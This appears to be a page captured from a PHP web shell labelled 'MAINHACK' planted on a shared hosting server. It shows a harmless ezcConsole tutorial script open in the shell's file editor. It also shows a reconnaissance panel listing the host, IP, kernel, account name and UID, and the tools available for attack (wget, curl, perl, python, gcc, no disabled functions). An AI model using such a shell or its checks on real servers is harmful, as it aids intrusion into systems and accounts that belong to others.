[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: tutorial_example_12_input_arguments.php
File is not writable. Editing disabled.
<?php require_once 'tutorial_autoload.php'; $input = new ezcConsoleInput(); $helpOption = $input->registerOption( new ezcConsoleOption( 'h', 'help' ) ); $helpOption->isHelpOption = true; $input->argumentDefinition = new ezcConsoleArguments(); $input->argumentDefinition[0] = new ezcConsoleArgument( "source" ); $input->argumentDefinition[0]->shorthelp = "The source directory."; $input->argumentDefinition[1] = new ezcConsoleArgument( "destination" ); $input->argumentDefinition[1]->mandatory = false; $input->argumentDefinition[1]->default = './'; $input->argumentDefinition[2] = new ezcConsoleArgument( "iterations" ); $input->argumentDefinition[2]->type = ezcConsoleInput::TYPE_INT; $input->argumentDefinition[2]->shorthelp = "Number of iterations."; $input->argumentDefinition[2]->longhelp = "The number of iterations to perform."; try { $input->process(); } catch ( ezcConsoleException $e ) { die( $e->getMessage() ); } if ( $helpOption->value === true ) { echo $input->getHelpText( "A simple text program" ); } else { echo "Source: {$input->argumentDefinition["source"]->value}\n"; echo "Destination: {$input->argumentDefinition["destination"]->value}\n"; echo "Iterations: " . ( $input->argumentDefinition["iterations"]->value === null ? "not set" : $input->argumentDefinition["iterations"]->value ); } ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium56.web-hosting.com
Server IP: 198.54.119.70
PHP Version: 8.2.30
Server Software: LiteSpeed
System: Linux premium56.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 70.72 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: bkunreyz
User ID (UID): 830
Group ID (GID): 826
Script Owner UID: 830
Current Dir Owner: N/A